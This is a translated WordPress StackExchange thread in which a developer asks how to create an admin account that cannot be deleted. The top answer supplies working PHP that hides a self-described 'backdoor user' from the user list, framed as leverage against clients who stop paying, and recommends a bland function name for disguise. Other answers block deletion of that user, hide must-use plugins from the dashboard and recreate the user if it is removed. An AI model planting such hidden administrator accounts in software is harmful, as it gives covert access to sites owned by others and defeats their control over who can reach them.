Create un-removeable user

时间:2013-09-12 作者:Cas

我怎样才能添加一个不能用代码删除的Wordpress用户(不惜一切代价,甚至连超级管理员也不能删除)?我在谷歌上找不到关于这样一个上帝账户的任何信息。

今天早上,我们公司的一位客户删除了主管理帐户,并删除了所有网站内容。我们能够用备份还原网站,但我希望在将来防止此问题。

4 个回复
最合适的回答,由SO网友:GhostToast 整理而成

虽然您不能保证此用户的绝对安全,但我使用它来隐藏我的后门用户(例如,对于那些积极删除用户但可能忘记支付账单的客户很有用)

add_action(\'pre_user_query\',\'sleeper_pre_user_query\');
function sleeper_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username != \'my_secret_admin_user\') { 
        global $wpdb;
        $user_search->query_where = 
        str_replace(
            \'WHERE 1=1\', 
            "WHERE 1=1 AND {$wpdb->users}.user_login !=
            \'my_secret_admin_user\'",$user_search->query_where
        );
    }
}
我想把这个函数命名为一个听起来很普通的函数,可能希望你的用户也很普通。该代码防止任何其他用户在管理列表中看到该用户。

SO网友:Rarst

中似乎没有中断删除过程的方法wp_delete_user() 函数,执行它。但是,在运行时,WordPress会在删除之前(自然)运行功能检查:

if ( ! current_user_can( \'delete_user\', $id ) )
        wp_die(__( \'You can’t delete that user.\' ) );
它通过了$id 用户被删除,所以您应该能够在处理CAP的过滤器中找到它,可能在user_has_capmap_meta_cap (我已经有一段时间没有在那里做任何事情了,所以我想不出精确的代码)。

SO网友:kaiser

正如@toscho在评论中所述。无法删除用户。我个人使用的是SysBot script that I host on GitHub as Gist. 我的用例通常是,当传入的远程数据不包含任何可以映射到现有用户的内容时,将从远程源生成的帖子映射到用户。

你可以更进一步

每当请求此用户配置文件页面时,重定向使用列表表中的post类型列筛选器删除指向用户配置文件的链接更改快速编辑链接以防止删除此用户如果用户仍被删除一次,则会在页面加载期间立即重新创建此用户配置文件。修改他的基本用户信息也是如此。

SO网友:brasofilo

钩子load-$pagenow 也可以使用。将其放入必须使用的插件中可防止其停用。通过添加一个简单的过滤器,我们可以隐藏MUs,使其不会出现在仪表板中(here, 更详细的技术)。

<?php
/*
    Plugin Name: Cannot delete user
    Description: Blocks the deletion of the user with ID == (adjust bellow)
    Author: brasofilo
    Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
    Requires: PHP 5.3+
*/
add_filter( \'show_advanced_plugins\', \'__return_false\' );

add_action( \'load-users.php\', function() 
{
    # Not a delete screen, do nothing
    if( !isset( $_REQUEST[\'action\'] ) || \'delete\' != $_REQUEST[\'action\'] )
        return;

    # User(s) not set, do nothing
    if( !isset( $_REQUEST[\'user\'] ) && !isset( $_REQUEST[\'users\'] ) )
        return;

    # Single user - adjust ID
    if( isset( $_REQUEST[\'user\'] ) && \'USER_ID\' == $_REQUEST[\'user\'] )
        wp_die(
            \'Cannot delete this user.\', 
            \'Error\',  
            array( \'response\' => 500, \'back_link\' => true )
        );  

    # Bulk users - adjust ID
    if( isset( $_REQUEST[\'users\'] ) && in_array( \'USER_ID\', $_REQUEST[\'users\'] ) )
        wp_die(
            \'Cannot delete this user.\', 
            \'Error\',  
            array( \'response\' => 500, \'back_link\' => true )
        );  
});

结束

相关推荐

向wp-admin添加自定义样式表

我在WP-ADMIN区域无法获得自定义样式表。plugins_url(\'style.css\', __FILE__) ); 我必须在名为css的插件中创建文件夹,还是只复制.css 到wp-admin/css 目录我两个都试过了,似乎对我不起作用。以及应将哪些值替换为__FILE__?对不起,我对这些东西有点陌生。/*ADDS STYLESHEET ON WP-ADMIN*/ add_action( \'admin_enqueue_scripts\', \'safely_add_styleshe